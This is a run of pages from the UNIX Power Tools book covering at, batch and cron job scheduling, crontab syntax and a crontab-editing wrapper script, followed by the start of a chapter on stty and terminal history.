Delayed Execution 		Next: 40.6 System V.4 Batch Queues

40.5 Avoiding Other at and cron Jobs

atq and at -l (40.9) are more important than they seem. They give you a way to decide when to run your jobs. I suggest that you check atq before picking a time to run your job. If you don't, the system may have a dozen huge jobs starting at midnight or 1 a.m. They will bring the system to its knees when there's no one around to help out. Here's an example of what can happen, using the BSD-style at commands:

% atq
 Rank      Execution Date    Owner   Job#   Queue  Job Name
 1st    Sep 12, 1996 01:00   mikel   4529     a    trashsys.sh
 2nd    Sep 12, 1996 01:00   johnt   4531     a    flame.sh
 3rd    Sep 12, 1996 01:00   davek   4532     a    stdin
 4th    Sep 12, 1996 01:00   joek    4533     a    troffit
 5th    Sep 13, 1996 02:00   bobr    4534     a    stdin

Four of the five users happened to pick 1 a.m. as their submission time. Therefore, four big jobs will start in the middle of the night. Will your system survive? Will any of these be done in the morning? These are good questions. Instead of submitting your jobs to run at 1 a.m., at midnight, or at some other integral number, start them at different times, and make them times like 3:48 a.m. If your system administrator notices lots of jobs running at the same times on your system, she might delete some of them and ask you to reschedule.

If your system has personal crontab files (40.12), you won't be able to see other users' cron jobs. The best way to cut system load is to pick strange times like 4:37 a.m. for your cron jobs.

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 3

Previous: 40.4 Choosing the Shell Run (We Hope) by at | UNIX Power Tools | Next: 40.6 System V.4 Batch Queues
40.4 Choosing the Shell Run (We Hope) by at | Book Index | 40.6 System V.4 Batch Queues
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.6 System V.4 Batch Queues

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.5 Avoiding Other at and cron Jobs Chapter 40
Delayed Execution 		Next: 40.7 Making Your at Jobs Quiet

40.6 System V.4 Batch Queues

At many UNIX sites, batch submission systems are considered a thing of the past. This is unfortunate. Batch execution is an effective way to get a lot of work done, particularly in a production-oriented environment. A batch queue is one of the best ways to ensure that a computer remains active during off hours. The at command leads to "bursty" execution: you will see a lot of activity at midnight, 1 a.m., 2 a.m., and other popular submission times, trailing off as the jobs complete. A batch queue will keep the system running on an even keel as long as there is work left to do.

System V.4 and SunOS have added a very simple batch queue facility. This facility is really just a variation of the at command, except that you can't specify when you want to run the job. The system has a single batch queue that executes jobs in the order in which they are entered into the queue. Submit a job to the queue with the command:

% batch
Command 1
Command 2
[CTRL-d]

If you have written your job as a shell script, you can submit it as:

% batch script-name

But check your online batch manual page to be sure that your system will run it with the right shell. To delete jobs from the queue, use atq and atrm (SunOS) or at -l and at -r (V.4).

The queue facility is so simple that it's pathetic: it doesn't support multiple queues, queue priorities, and other features that you really need if you want batch submission. But it will do one important thing. If users use batch queues for their big jobs, they will guarantee that, at most, one large program (whether it is the compiler, an engineering application, or whatever) is running at a time. That may be all you need to restore order to a troubled system.

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 3

Previous: 40.5 Avoiding Other at and cron Jobs | UNIX Power Tools | Next: 40.7 Making Your at Jobs Quiet
40.5 Avoiding Other at and cron Jobs | Book Index | 40.7 Making Your at Jobs Quiet
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.7 Making Your at Jobs Quiet

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.6 System V.4 Batch Queues Chapter 40
Delayed Execution 		Next: 40.8 Automatically Restarting at Jobs

40.7 Making Your at Jobs Quiet

Most modern versions of at will mail (1.33) you any output that your commands make. Some people try the command line below to throw that output into the UNIX trash can, /dev/null (13.14):

>&
% at \f[CBO]sometime... >& /dev/null     ...wrong

But that won't work because it throws away the output of the at command itself. at just saves your job in a file to be run later by a system program. The commands you want quiet are the commands stored in that file. One way to keep at quiet, if you use the C shell, is:

% at sometime...
at> some command >& /dev/null
at> another command >& /dev/null
at> ...etc... >& /dev/null
at> [CTRL-d]

The Bourne shell makes it easier:

exec >

$ at sometime...
at> exec > /dev/null 2>&1
at> some command
at> another command
at> ...etc...
at> [CTRL-d]

Two notes:

  • Some versions of at have a -s option that runs your job with the Bourne shell.

  • Not all versions of at prompt you with at> as I showed above.

- JP

Previous: 40.6 System V.4 Batch Queues | UNIX Power Tools | Next: 40.8 Automatically Restarting at Jobs
40.6 System V.4 Batch Queues | Book Index | 40.8 Automatically Restarting at Jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.8 Automatically Restarting at Jobs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.7 Making Your at Jobs Quiet Chapter 40
Delayed Execution 		Next: 40.9 Checking and Removing Jobs

40.8 Automatically Restarting at Jobs

In some situations, it's convenient to create jobs that do their work, finish, and automatically reschedule themselves at some time in the future. Here's how to do this:

#!/bin/sh
myself=/home/mikel/bin/restarter
# Add any commands you want to do real work here
...
sleep 60
at -s 0123 tomorrow $myself

Once you've started this script, it will run every day at 1:23 a.m. The sleep (40.2) makes sure that the following at command is executed after 1:23 a.m.; this guarantees that the next job will run at 1:23 a.m. tomorrow instead of 1:23 a.m. today. This trick isn't needed on most versions of at, but it isn't a bad idea.

Note that self-restarting jobs really are an artifact of an earlier era, when mortal users were supposed to stay away from the cron (40.12) facility. Now that users can have personal crontab files, the need for self-restarting jobs should diminish.

If you find that you do need to create scripts that reschedule themselves, please make sure to clean up after yourself! When your program is no longer needed, remember to delete it with atq and atrm (40.9).

- ML

Previous: 40.7 Making Your at Jobs Quiet | UNIX Power Tools | Next: 40.9 Checking and Removing Jobs
40.7 Making Your at Jobs Quiet | Book Index | 40.9 Checking and Removing Jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.9 Checking and Removing Jobs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.8 Automatically Restarting at Jobs Chapter 40
Delayed Execution 		Next: 40.10 nextday, nextweekday: Tomorrow or Next Weekday

40.9 Checking and Removing Jobs

From time to time, you'll submit an at job and realize that there's something wrong with it. How do you get it out of the queue? Two tools help you do this: atq, which reports the jobs that are in the queue, and atrm, which deletes jobs that are already in the queue.

atq is pretty simple; by default, it reports on all jobs that have been queued. Optionally, you can give it a user name as an argument; in this case it reports all the jobs queued by the given user. The report looks like this:

los% atq
 Rank     Execution Date     Owner     Job #   Queue   Job Name
  1st   Oct  9, 1996 22:27   mikel      4637       a   stdin
  2nd   Oct 10, 1996 01:08   mikel      4641       a   stdin
  3rd   Oct 10, 1996 02:34   judy       4663       a   stdin

Note that atq has no objection to telling you about other users' jobs. Although this might seem like a security hole, it's actually useful - see article 40.5. The jobs are ordered according to their execution date. With the -c option, atq orders jobs according to when they were queued - conceivably a useful feature. (atq - n just prints the number of jobs that are queued; I'm not sure when this would be useful.)

Once you've found out the job number, you can delete it with the command atrm. You can only delete your own jobs, not someone else's:

% atrm 4637
4637: removed
% atrm 4663
4663: permission denied

The command atrm - removes all the jobs you submitted; it's good for cleaning out your queue completely.

NOTE: On System V prior to SVR4, use at -l to list your jobs (instead of atq), and at -r to delete your jobs (instead of atrm). SunOS and SVR4 support both versions.

Some older BSD-based implementations may not support any of these options. Once you submit a job, you can delete it by finding its filename in the /usr/spool/at directory and emptying the file (24.1). Or the superuser (1.24) can go to the spool directory and delete the file by hand.

- ML

Previous: 40.8 Automatically Restarting at Jobs | UNIX Power Tools | Next: 40.10 nextday, nextweekday: Tomorrow or Next Weekday
40.8 Automatically Restarting at Jobs | Book Index | 40.10 nextday, nextweekday: Tomorrow or Next Weekday
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.10 nextday, nextweekday: Tomorrow or Next Weekday

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.9 Checking and Removing Jobs Chapter 40
Delayed Execution 		Next: 40.11 Send Yourself Reminder Mail

40.10 nextday, nextweekday: Tomorrow or Next Weekday

nextday
Before my UNIX systems had personal crontabs (40.12), I wanted a way to make an at job (40.3) repeat itself the next weekday (skipping Saturday and Sunday) or, sometimes, every day. Our at was simple-minded and didn't understand dates like now + 1 day. This script with two names, nextday and nextweekday, did the job. I called it from inside my at job, like this:

`...`
% cat atjob
somecommand
sleep 60
at 2325 `nextweekday` < atjob

On Thursday, the result will be a command like at 2325 Friday atjob. On Friday, the command will be at 2325 Monday atjob; using nextday instead, the result would be at 2325 Saturday atjob.

The -n option returns a numeric weekday.

NOTE: This script only works with some versions of date. If your version doesn't understand format strings like +%format, install the date (51.10) from the CD-ROM.

You can install this script from the CD-ROM or from the online archive (52.7). If you get it from the archive, ask tar to install nextday and its other link:

% tar xvf archive.tar nextday nextweekday
x nextday, 1564 bytes, 4 tape blocks
nextweekday linked to nextday

The script tests the name it was called with, in $0, to decide which command to run.

- JP

Previous: 40.9 Checking and Removing Jobs | UNIX Power Tools | Next: 40.11 Send Yourself Reminder Mail
40.9 Checking and Removing Jobs | Book Index | 40.11 Send Yourself Reminder Mail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.11 Send Yourself Reminder Mail

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.10 nextday, nextweekday: Tomorrow or Next Weekday Chapter 40
Delayed Execution 		Next: 40.12 Periodic Program Execution: The cron Facility

40.11 Send Yourself Reminder Mail

I use the at command (40.7) to send myself reminders. The at job runs a mail program (1.33) and feeds the body of the message to the mailer's standard input. Examples:

  1. To send a one-line reminder, I use a one-line command like this:

    % at 0427 tuesday
at> echo "send summary to Tim today" | mail jpeek@jpeek.com
at> [CTRL-d]
%

    It sends mail at (in this case) 4:27 a.m. on the next Tuesday. The mail says: "send summary to Tim today."

  2. To send more than one line, you can use a temporary file:

    % vi msgfile
   ...put message body in msgfile...
% at 0808 feb 28
at> mail jpeek@jpeek.com < msgfile
at> rm msgfile
at> [CTRL-d]
%

  3. Combine the output of UNIX commands and text with backquotes (9.16) and a here document (8.18):

    % at 0115
at> mail -s "Hard-working people" tom << END
at> These employees are working late. They deserve a bonus:
at> `w`
at> END
at> [CTRL-d]
%

    That sends a message to tom at 1:15 a.m. tonight. (This mailer accepts a subject on the command line with its -s option. The output of the w command gives detailed information about logged-in users; not all systems have it.) Unless you understand how to quote here-document text (45.26), the message shouldn't have anything but letters, numbers, commas, and periods.

If your system administrator has set up the calendar (48.4) program, it's good for easy one-line reminders on particular days. If your UNIX has personal crontabs (40.12) that can send periodic reminders every Tuesday, every hour, or whatever: use the commands in items 1 or 2 above.

- JP

Previous: 40.10 nextday, nextweekday: Tomorrow or Next Weekday | UNIX Power Tools | Next: 40.12 Periodic Program Execution: The cron Facility
40.10 nextday, nextweekday: Tomorrow or Next Weekday | Book Index | 40.12 Periodic Program Execution: The cron Facility
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.12 Periodic Program Execution: The cron Facility

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.11 Send Yourself Reminder Mail Chapter 40
Delayed Execution 		Next: 40.13 Adding crontab Entries

40.12 Periodic Program Execution: The cron Facility

cron allows you to schedule programs for periodic execution. For example, you can use cron to call a particular UUCP (1.33) site every hour, to clean up editor backup files every night, or to perform any number of other tasks. However, cron is not a general facility for scheduling program execution off-hours; use the at command (40.3).

With redirection (13.1), cron can send program output to a log file or to any username via the mail system (1.33).

NOTE: cron jobs are run by a system program in an environment that's much different from your normal login sessions. The search path (8.7) is usually shorter; you may need to use absolute pathnames for programs that aren't in standard system directories. Be careful about using command aliases, shell functions and variables, and other things that may not be set for you by the system.

40.12.1 Execution Scheduling

The cron system is serviced by the cron daemon (1.14). What to run and when to run it are specified to cron by crontab entries, which are stored in the system's cron schedule. Under BSD, this consists of the files /usr/lib/crontab and /usr/lib/crontab.local; either file may be used to store crontab entries. Both are ASCII files and may be modified with any text editor. Since usually only root has access to these files, all cron scheduling must go through the system administrator. This can be either an advantage or a disadvantage, depending on the needs and personality of your site.

Under System V (and many other versions of UNIX), any user may add entries to the cron schedule. crontab entries are stored in separate files for each user. The crontab files are not edited directly by ordinary users, but are placed there with the crontab command (described later in this section). [In my experience, the cron jobs are run from your home directory. If you read a file or redirect output to a file with a relative pathname (14.2), that'll probably be in your home directory. Check your system to be sure. -JP ]

crontab entries direct cron to run commands at regular intervals. Each one-line entry in the crontab file has the following format:

mins hrs day-of-month month weekday username cmd (BSD)
mins hrs day-of-month month weekday cmd (System V)

Spaces separate the fields. However, the final field, cmd, can contain spaces within it (i.e., the cmd field consists of everything after the space following weekday); the other fields must not contain spaces. The username field is used in the BSD version only and specifies the username under which to run the command. Under System V, commands are run by the user who owns the crontab in which they appear (and for whom it is named).

The first five fields specify the times at which cron should execute cmd. Their meanings are described in Table 40.1.

Table 40.1: crontab Entry Time Fields
Field | Meaning | Range
mins | The minutes after the hour. | 0-59
hrs | The hours of the day. | 0-23 (0 = midnight)
day-of-month | The day within a month. | 1-31
month | The month of the year. | 1-12
weekday | The day of the week. | 1-7 (1 = Monday) BSD
 |  | 0-6 (0=Sunday) System V

These fields can contain a single number, a pair of numbers separated by a dash (indicating a range of numbers), a comma-separated list of numbers and ranges, or an asterisk (a wildcard that represents all valid values for that field).

If the first character in an entry is a hash mark (#), cron will treat the entry as a comment and ignore it. This is an easy way to temporarily disable an entry without permanently deleting it.

Here are some example crontab entries (shown in System V format):

2>&1

\%
0,15,30,45 * * * *  (echo -n '   '; date; echo "") >/dev/console
0,10,20,30,40,50 7-18 * * * /usr/lib/atrun
7 0 * * *  find / -name "*.bak" -type f -atime +7 -exec rm {} \;
12 4 * * *  /bin/sh /usr/adm/ckdsk >/usr/adm/disk.log 2>&1
22 2 * * *  /bin/sh /usr/adm/ckpwd 2>&1 | mail root
30 3 * * 1 /bin/csh -f /usr/lib/uucp/uu.weekly >/dev/null 2>&1
12 5 15-21 * * test `date +\%a` = Mon && /usr/local/etc/mtg-notice
#30 2 * * 0,6  /usr/lib/newsbin/news.weekend

The first entry displays the date on the console terminal every fifteen minutes (on the quarter hour); notice that multiple commands are enclosed in parentheses in order to redirect their output as a group. (Technically, this says to run the commands together in a subshell (13.7).) The second entry runs /usr/lib/atrun every ten minutes from 7:00 a.m. to 6:00 p.m. daily. The third entry runs a find command at seven minutes after midnight to remove all .bak files not accessed in seven days. [To cut wear and tear and load on your disk, try to combine find jobs (23.22). Also, as article 40.5 explains, try not to schedule your jobs at often-chosen times like 1:00 a.m., 2:00 a.m., and so on; pick oddball times like 4:12 a.m. -JP ]

The fourth and fifth lines run a shell script every day, at 4:12 a.m. and 2:22 a.m., respectively. The shell to execute the script is specified explicitly on the command line in both cases; the system default shell, usually the Bourne shell, is used if none is explicitly specified. Both lines' entries redirect standard output and standard error, sending it to a file in one case and mailing it to root in the other.

The sixth entry executes a C shell script named uu.weekly, stored in /usr/lib/uucp, at 3:30 a.m. on Monday mornings. Notice that the command format - specifically the output redirection - is for the Bourne shell even though the script itself will be run under the C shell. The seventh entry runs on the third Monday of every month; there's more explanation below. The final entry would run the command /usr/lib/newsbin/news.weekend at 2:30 a.m. on Saturday and Sunday mornings if it were not disabled with a #. (# can also be used to add comments to your crontab.)

The fourth through sixth entries illustrate three output-handling alternatives: redirecting it to a file, piping it through mail, and discarding it to /dev/null (13.14). If no output redirection is performed, the output is sent via mail to the user who ran the command.

The cmd field can be any UNIX command or group of commands (properly separated with semicolons). The entire crontab entry can be arbitrarily long, but it must be a single physical line in the file.

One problem with the crontab syntax is that it lets you specify any day of the month, and any day of the week; but it doesn't let you construct cases like "the third Monday of every month." You might think that the crontab entry:

12 5 15-21 * 1 your-command

would do the trick, but it won't; this crontab entry runs your command on every Monday, plus the 15th through the 21st of each month. [1] An answer from Greg Ubben is shown in the seventh entry. He uses the test (44.20) and date (51.10) commands to compare the name of today (like Tue) to the day we want the entry to be executed (here, Mon). This entry will be run between the 15th and 21st of each month, but the mtg-notice command will only run on the Monday during that period. The shell's && operator (44.9) runs the mtg-notice command only when the previous test succeeds. Greg actually writes the entry as shown here, testing for failure of the test command:

[1] This strange behavior seems to be a System V peculiarity that somehow infected the rest of the world. "True" BSD systems behave the way we explained earlier. However, SunOS 4.X systems have incorporated System V's behavior; and, with the advent of Solaris, there are relatively few true commercial BSD systems left in the world.

12 5 15-21 * * test `date +\%a` != Mon || /usr/local/etc/mtg-notice

He did it in that "backwards" way so the cron job's exit status would be 0 (success) in the case when it doesn't execute mtg-notice. You may need that technique, too.

The cron command starts the cron program. It has no options. Once started, cron never terminates. It is normally started automatically by one of the system initialization scripts. cron reads the crontab file(s) every minute to see whether there have been changes. Therefore, any change to its schedule will take effect within one minute.

- AF, JP

Previous: 40.11 Send Yourself Reminder Mail | UNIX Power Tools | Next: 40.13 Adding crontab Entries
40.11 Send Yourself Reminder Mail | Book Index | 40.13 Adding crontab Entries
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.13 Adding crontab Entries

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.12 Periodic Program Execution: The cron Facility Chapter 40
Delayed Execution 		Next: 40.14 Including Standard Input Within a cron Entry

40.13 Adding crontab Entries

Most recent versions of UNIX have a special command for maintaining the crontab file. To create a new crontab file, create a file containing the desired crontab entries. Then run the crontab command to install the file in the cron spool area. For example, if user chavez executes the command below, the file mycron will be installed as /usr/spool/cron/crontabs/chavez:

$ crontab mycron

If chavez had previously installed crontab entries, they will be replaced by those in mycron; thus, any current entries that chavez wishes to keep must also be present in mycron.

The -l option to crontab lists the current crontab entries, and redirecting its output to a file will allow them to be captured and edited:

$ crontab -l >mycron
$ vi mycron
$ crontab mycron

The -r option will remove all current crontab entries. Under SunOS, crontab has an additional -e option that lets you directly edit your current crontab entries in a single step (see article 40.15 for a script like that).

On BSD-based UNIX implementations, there is no separate crontab command, nor does each user get a personal crontab file. BSD does distinguish between "global" crontab entries (in /usr/lib/crontab) and "local" entries (in /usr/lib/crontab.local)-however, you have to edit these files directly, which will probably require you to become superuser. It's a good idea to collect personal and site-specific crontab entries in the crontab.local file.

- AF from O'Reilly & Associates' Essential System Administration

Previous: 40.12 Periodic Program Execution: The cron Facility | UNIX Power Tools | Next: 40.14 Including Standard Input Within a cron Entry
40.12 Periodic Program Execution: The cron Facility | Book Index | 40.14 Including Standard Input Within a cron Entry
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.14 Including Standard Input Within a cron Entry

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.13 Adding crontab Entries Chapter 40
Delayed Execution 		Next: 40.15 crontab Script Makes crontab Editing Easier/Safer

40.14 Including Standard Input Within a cron Entry

Since crontab entries must be a single line long, it's hard to include any standard input with them. Sure, you can use commands like:

0 22 * * * echo "It's 10PM; do you know where your children are?" | wall

but you can't use "here documents" and other methods of generating multiline input; they intrinsically take several lines.

To solve this problem, cron allows you to include standard input directly on the command line. If the command contains a percent sign (%), cron uses any text following the sign as standard input for cmd. Additional percent signs can be used to subdivide this text into lines. For example, the following crontab entry:

30 11 31 12 * /etc/wall%Happy New Year!%Let's make next year great!

runs the wall command at 11:30 a.m. on December 31st, using the text:

Happy New Year!
Let's make next year great!

as standard input. [If you need a literal percent sign in your entry, for a command like date +%a, escape the percent sign with a backslash: \%. -JP ]

- AF from O'Reilly & Associates' Essential System Administration

Previous: 40.13 Adding crontab Entries | UNIX Power Tools | Next: 40.15 crontab Script Makes crontab Editing Easier/Safer
40.13 Adding crontab Entries | Book Index | 40.15 crontab Script Makes crontab Editing Easier/Safer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.15 crontab Script Makes crontab Editing Easier/Safer

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.14 Including Standard Input Within a cron Entry Chapter 40
Delayed Execution 		Next: VII. Terminals and Printers

40.15 crontab Script Makes crontab Editing Easier/Safer

crontab
I've made mistakes with the crontab command, accidentally deleting my crontab file and not being able to get it back. I like the SunOS crontab -e command for interactive editing. So, I made a shell script that does it. To help keep me from using the system version, I store this script in a directory near the start of my PATH (8.7); if I really need the system version, I type its absolute pathname.

umask

trap
||

${..-..}
cmp

#! /bin/sh
cmd=/usr/bin/crontab    # THE SYSTEM VERSION

# MAKE SURE EVERYONE KNOWS WHAT THEY'RE RUNNING:
echo "Running Jerry's crontab command..." 1>&2

case $# in
1)  ;;  # OK
*)  echo "Usage: `/bin/basename $0` -e | -l | -d"; exit 1 ;;
esac

case "$1" in
-[ld]) $cmd $1 ;;   # EXIT WITH STATUS OF REAL COMMAND
-e) # EDIT IT:
    umask 077
    stat=1  # DEFAULT EXIT STATUS; RESET TO 0 FOR NORMAL EXIT
    start=/tmp/CRONTAB$$s   end=/tmp/CRONTAB$$e
    trap 'rm -f $start $end; exit $stat' 0 1 2 15
    $cmd -l > $start || exit    # GET COPY OF CRONTAB
    /bin/cp $start $end
    ${VISUAL-${EDITOR-vi}} $end
    if cmp -s $start $end
    then echo "The crontab file was not changed." 1>&2; exit
    else
        $cmd $end
        stat=$? # EXIT WITH STATUS FROM REAL crontab COMMAND
        exit
    fi
    ;;
*)  echo "Usage: `/bin/basename $0` -e | -l | -d"; exit 1;;
esac

- JP

Previous: 40.14 Including Standard Input Within a cron Entry | UNIX Power Tools | Next: VII. Terminals and Printers
40.14 Including Standard Input Within a cron Entry | Book Index | VII. Terminals and Printers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] Terminal and Serial Line Settings

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: VII. Terminals and Printers Chapter 41 Next: 41.2 stty and All That Stuff

41. Terminal and Serial Line Settings

Contents:
Delving a Little Deeper
stty and All That Stuff
Find Out Terminal Settings with stty
How UNIX Handles TAB Characters
Why Some Systems Backspace over Prompts
Using sleep to Keep Port Settings
Reading Verrrry Long Lines from the Terminal
ptys and Window Systems
Commands to Adjust Your Terminal
Using terminfo Capabilities in Shell Programs
How termcap and terminfo Describe Terminals
Finding Out What Characters Your Terminal's Special Keys Send

41.1 Delving a Little Deeper

Article 5.2 and others introduce parts of UNIX terminal handling. This chapter contains several articles that show a little more about how UNIX handles terminals and other serial devices. Beginners don't always realize that there are several overlapping mechanisms at work. Programs like tset and tput, and the termcap and terminfo databases they depend on, actually configure the terminal or window (or tell other programs about their characteristics), while stty affects the operation of the UNIX device drivers that handle the serial line. From a user's point of view, the distinction isn't always clear, especially since tset does some of its work on both levels.

Perhaps we're continuing the confusion by putting information about both of these topics into the same chapters. Oh well. What we have here are a miscellany of topics that delve a little deeper than we've gone before into how terminals work under UNIX.

  • Article 41.2 explains why stty is as complex as it is. Article 41.3 shows how to check stty's settings.

  • Article 41.4 explains some of the mysteries of terminal tab handling.

  • Article 41.5 lists differences in the way that System V and BSD UNIX handle what you type on the command line.

  • Articles 41.6 and 41.7 give two tips about stty.

  • Article 41.8 explains how software designed for terminals still runs under window systems, using "pseudo-terminals" or ptys.

  • Articles 41.9 and 41.10 describe how to issue escape sequences to change the behavior of your terminal.

  • Article 41.11 describes how to read a termcap or terminfo entry.

  • Article 41.12 describes how to avoid reading termcap and terminfo entries.

  • Article 42.1 introduces more low-level concepts.

- TOR

Previous: VII. Terminals and Printers | UNIX Power Tools | Next: 41.2 stty and All That Stuff
VII. Terminals and Printers | Book Index | 41.2 stty and All That Stuff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.2 stty and All That Stuff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.1 Delving a Little Deeper Chapter 41
Terminal and Serial Line Settings 		Next: 41.3 Find Out Terminal Settings with stty

41.2 stty and All That Stuff

[...all that useful stuff! This article has a lot of good background for understanding how communications works between the UNIX host and your terminal or window. Chris has been in the business since way back; there's lots of interesting history in here, too. You might want a copy of your system's stty manual page close by while you read this article. -JP]

Q: What is stty all about? Why does it have so many options?

A: Serial ports - indeed, computer communications in general - are a tangled and complicated area. The demands made for serial port communication, and hence the support for it in UNIX systems, began simply, but then grew in raging, uncontrolled bursts.

41.2.1 How We Made It This Far (Back?)

Originally, UNIX ran on a small machine that talked only to teletypes, or ttys for short. The UNIX kernel had to collect up input lines, allowing minor corrections - erasing the previous character and killing (erasing wholly) the input line - and translating a few "special" characters for controlling programs. Teletypes were printers, incapable of erasing, so the erase and kill characters were just ordinary printing characters, namely # and @. The original special characters were CTRL-d (for end-of-file), DEL (to interrupt), and CTRL-\ (to quit). The kernel also mapped input RETURN codes to the newline character, so that users could push the big RETURN key, on teletypes that had those.

These teletypes had some peculiarities. In particular, they used a moving print head (or carriage), and this print head took a noticeable amount of time to return from the right margin to the left. If sent continuous printing text, a teletype could smear characters all over the paper during a carriage return. [1] The UNIX kernel therefore had to allow for a delay after a carriage return. At the same time, the kernel did "output processing" by changing newlines to the teletype's carriage return and linefeed codes, if necessary. [2] A few teletypes allowed only uppercase characters, and UNIX grew support for these as well. UNIX did get away without something common to other operating systems, however: UNIX systems assumed that all teletypes were "full duplex" and used "remote echo." This meant, in essence, that both the teletype and the UNIX system could send to each other at the same time; and the teletype would not print what you typed until told to do so by the UNIX host. [3]

[1] This is an exaggeration. Printing during a carriage return was occasionally used as a diagnostic for checking the motor speed. The character printed during the return was supposed to appear exactly halfway along the line.

[2] Some teletypes really processed a newline as a "new line," i.e., a carriage return and linefeed, but most left this up to the host computer.

[3] Full duplex/remote echo and half duplex/local echo tended to go together. In particular, a half duplex system - which was not the same as a simplex system - had to have local echo to avoid being annoying to use. Fortunately, this is irrelevant today. The concept of "duplex" has fallen by the wayside, and everything is full duplex, or at least simulates it internally.

UNIX also had to provide a way for special applications, such as UUCP (1.33), to get input characters without any processing. This was the so-called raw mode. The kernel service was all-or-nothing: in raw mode, every input and output character was left alone, and passed directly - and immediately - to the application. In "cooked" mode, the kernel did input and output translations and delays.

Along with the ability to set raw or cooked mode, the kernel allowed changing each of the special characters (5.9) and allowed control of some of the simpler aspects of the serial port interface, such as parity and baud rate. [4] The baud rate, perhaps better called the bit rate, of the original teletype was 110 bits per second (bps), or 11 characters per second. (The machines really did print exactly 11 times each second, with one possibility being quietly to print nothing.) Early computer modems ran at 110 and 300 baud, and there were a standard set of serial port speeds: 50, 75, 110, 134.5, 150, 200, 300, 600, 1200, 1800, 2400, 4800, and even 9600 bps, which was considered terribly fast. UNIX systems used serial cards with two additional "external control" rates labeled A and B; these became exta and extb. Some UNIX systems still support exactly (and only) these rates, and tie exta to 19200 bps and extb to 38400 bps.

[4] Parity is used for error checking. Parity is simply the number of "1" bits. If you have the value 1001001, and even parity, the parity bit should be 1, because 1001001 has three 1 bits - an odd number - and adding another 1 makes this even. If the parity bit fails to match, at least one bit is wrong. It could, of course, be the parity bit itself. Moreover, with a tty port, there may not be anything you can do to fix the error - most UNIX kernels just drop the bad input character - but the check is available.

Eventually, teletype printers began to be displaced. First there came so-called glass ttys-CRT displays that tried to act just like a teletype - and then smarter terminals, ones that could (gasp) move a cursor around the screen, and edit the display in place. These used special control and escape codes to do the editing. They also provided the opportunity to write full-screen editors. UNIX had to evolve to adapt to these new constraints. Unfortunately, by this time there were two main branches of UNIX. One would eventually become 4BSD, or Berkeley UNIX; the other was to become System V.

The goals for both systems were similar, and thus both wound up with comparable approaches. Berkeley UNIX, however, attempted both to retain backwards compatibility and to provide a nice user interface, while the original System V system discarded compatibility in favor of efficiency and a "complete" interface - one that allowed doing everything a serial port could do.

Berkeley UNIX thus acquired three terminal modes. It retained the original raw and cooked modes, and added a new one called cbreak. [5] In cbreak mode, some input processing was done, but most characters were sent on to the application as they arrived. Since the kernel was not collecting lines, the erase and line-kill characters were unneeded; these were sent on unchanged. Most of the process control characters - interrupt, quit, and a new stop or suspend code - were still interpreted. To allow users to type these codes, a new "literal next" or "quote" character was introduced. Berkeley UNIX also added more output processing, including a special translation option for certain Hazeltine Corporation displays and features such as proper tab handling, output flush, and word erase.

[5] This cbreak mode has sometimes been referred to as "half-baked."

The System V base, on the other hand, dropped the idea of raw mode entirely. Instead, this system provided an individual control for each option. The icanon option, for instance, controlled whether input lines were to be collected or "canonicalized." The isig option controlled signals: when off, the interrupt (DEL, or in modern systems, CTRL-c) and quit characters were just ordinary characters. The inpchk option controlled input parity checking, and so forth. Similarly, output processing had individual flags: ocrnl for carriage return-newline control, opost for output processing in general. By turning everything off individually, an application could get the same effect as the old system's raw mode. The kernel also allowed control over the number of data bits in each serial frame, the number of stop bits, and so forth. [6] Thus, while Berkeley UNIX had nice line editing, it was incapable of attaching to five-bit Baudot systems. System V lacked the user interface features, but could talk to almost anything.

